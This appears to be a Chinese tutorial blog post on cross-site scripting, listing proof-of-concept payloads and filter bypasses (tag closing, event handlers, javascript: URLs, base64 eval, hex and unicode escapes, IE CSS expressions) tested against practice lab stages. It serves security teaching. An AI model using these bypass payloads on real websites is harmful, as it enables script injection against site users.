Python全栈(五)Web安全攻防之9.XSS攻击(下)

一、下拉框select和input的XSS攻击

1.属性中的XSS发现–下拉框select

select元素可创建单选或多选菜单,如下:

<select name="p2">
    <option>Japan</option>
    <option>Germany</option>
    <option>USA</option>
    <option>United Kingdom</option>
</select>

在select下拉框中输入</option>闭合标签:

Japan</option><script>alert(document.domain);</script>

测试如下:
XSS attribute select test

2.HTML表单input属性

input标签的属性有:

  • value
    输入字段的初始值
  • readonly
    输入字段为只读(不能修改)
  • disabled
    输入字段是禁用的
  • size
    规定输入字段的字符
  • maxlength
    输入字段允许最大长度
  • type
    类型
    • text文本
    • password密码
    • hidden隐藏

3.HTML表单隐藏参数

隐藏域是用来收集或发送信息的不可见元素,对于网页的访问者来说,隐藏域是看不见的;
当表单被提交时,隐藏域就会将信息(定义的名称和值)发送到服务器上。
测试时,如果用之前的方法可能会失效,改变页面元素提交后会恢复原状,这时需要将input表单的类型由hidden改为text,再进行测试:
XSS attribute hidden test

二、input属性和HTML事件触发XSS

1.修改maxlength的值达到XSS攻击效果

如果不修改maxlength的值,可能payload不能填完,因此需要先修改,再加入"><script>alert(document.domain);</script>测试。
测试如下:
XSS attribute maxlength test

2.通过HTML事件来触发XSS

HTML事件的介绍可参考http://www.w3school.com.cn/tags/html_ref_eventattributes.asp,HTML实体的介绍可参考https://www.w3school.com.cn/html/html_entities.asp
通过事件来触发XSS的原理是通过添加双引号闭合来增加标签属性,如下:

" οnmοuseοver="alert(document.domain)

" οnclick="alert(document.domain)

测试如下:
XSS attribute event test
注意:
必须增加两个双引号,形成两个闭合。

3.空格分隔属性中的XSS

用闭合引号的思路来进行尝试:

" οnmοuseοver= "alert(document.domain)

测试如下:
XSS attribute space test

三、javascript伪协议和绕过注释domain

1.利用javascript伪协议触发XSS

将javascript代码添加到客户端的方法是把它放置在伪协议说明符javascript:后的URL中。
这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。
如果javascript:URL中的javascript代码含有多个语句,必须使用分号将这些语句分隔开。
例如:

javascript:var now = new Date(); "<h1>The time is:</h1>" + now;

javascript URL还可以含有只执行动作,但不返回值的javascript语句,如下:

javascript:alert("hello world!")

a标签
定义超链接,用于从一个页面链接到另外一个页面;
标签最重要的属性是href属性,它指定链接的目标。

在所有浏览器中,链接的默认外观是:
未被访问的链接带有下划线而且是蓝色的;
已被访问的链接带有下划线而且是紫色的;
活动链接带有下划线而且是红色的。
测试如下:
XSS javascript test

2.绕过注释domain

跳过Stage
构造特殊无害字符串,响应中寻找字符串;
在span标签中添加onclick= "alert(document.domain)"
绕过方法有双写和编码2种。

双写绕过

"><script>alert(document.dodomainmain);</script>

测试如下:
XSS domain doublewrite test

编码绕过

alert(document.domain)的base64编码是YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==,用eval()函数执行JavaScript代码,atob()函数解码base64字符串。

"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script>

测试如下:
XSS domain base64 test

四、XSS绕过和利用IE触发CSS

1.绕过替换script和on事件的XSS

HTML十进制编码可参考https://blog.csdn.net/HappyRocking/article/details/79744049
tab制表符的html十进制编码&#09;
将HTML十进制编码的tab制表符加入JS代码中:

"><a href="javascr&#09ipt:alert(document.domain);">xss</a>

测试如下:
XSS tab dec test

2.利用IE特性绕过XSS过滤

IE中两个反引号``可以闭合一个左边双引号,即" `` 可以实现闭合,如

``onclick=alert(document.domain)

这个只适用于IE浏览器。
测试如下:
XSS IE `` test

3.利用CSS特性绕过XSS过滤

CSS(层叠样式表)是一种用来表现HTML或XML等文件样式的计算机语言,可以修饰页面效果。

将JS代码加入CSS中:

background:url("javascript:alert(document.domain);");

IETester是一个免费的(个人和专业用途的)WebBrowser,可以在Windows 8台式机,Windows 7,Vista和XP上使用IE11,IE10,IE9,IE8,IE7,IE 6和IE5.5的呈现和JavaScript引擎,以及在同一过程中安装的IE。
IETester(点击https://download.csdn.net/download/CUFEECR/12253066或官网https://www.my-debugbar.com/wiki/IETester/HomePage下载安装)中进行测试,因为各个版本的IE都需要进行测试,Windows10里面自带的IE不会执行。
测试如下:
XSS CSS background test

4.IE中利用CSS触发XSS

css expression(css表达式)又称Dynamic properties(动态属性)是早期微软DHTML的产物,以其可以在Css中定义表达式(公式)来达到建立元素间属性之间的联系等作用,从IE5开始得到支持,后因标准、性能、安全性等问题。
微软从IE8 beta2标准模式开始,取消对css expression的支持。
IE5及其以后版本支持在CSS中使用expression,用来把CSS属性和Javascript表达式关联起来。
expression举例如下:

here:expres/\*\*/sion(if(!window.x){alert(document.domain);window.x=1;}); 

here:e\\0xpression(onmouseover=function(){alert(document.domain)})

测试如下:
XSS IE css test

五、通过编码转码符号绕过XSS过滤

1.16进制绕过过滤触发XSS

十六进制转换每一位上可以是从小到大为0、1、2、3、4、5、6、7、8、9、A、B、C、D、E和F16个大小不同的数,即逢16进1,其中A、B、C、D、E、F(字母不区分大小写)六个字母来分别表示10、11、12、13、14、15。
Python实现16进制转换:

import binascii 

s = binascii.b2a_hex(">" .encode("utf8")) 
print(s.decode()) 
print("\\x"+s.decode())

打印

3e
\x3e

<script>alert(document.domain)</script>将**><**替换为16进制后:

\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e

测试如下:
XSS hex test

2.unicode绕过过滤触发XSS

Unicode(万国码、国际码、统一码、单一码)是计算机科学领域里的一项业界标准,它对世界上大部分的文字系统进行了整理、编码,使得电脑可以用更为简单的方式来呈现和处理文字。
Unicode是为了解决传统的字符编码方案的局限而产生的,它为每种中的每个字符设定了统一并且唯一的二进制编码,满足跨语言、跨平台进行文本转换、处理的要求。
使用Python将字符串转换为unicode类型:

import binascii


def s2unicode(s):
    stemp = binascii.b2a_hex(s.encode("utf8"))
    return "\\u00" + stemp.decode()


print('%sscript%salert(document.domain)%s/script%s' % (s2unicode('<'), s2unicode('>'), s2unicode('<'), s2unicode('>')))

打印:

\u003cscript\u003ealert(document.domain)\u003c/script\u003e

使用\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e测试如下:
XSS Unicode test

发布了88 篇原创文章 · 获赞 632 · 访问量 18万+

猜你喜欢

转载自blog.csdn.net/CUFEECR/article/details/104918638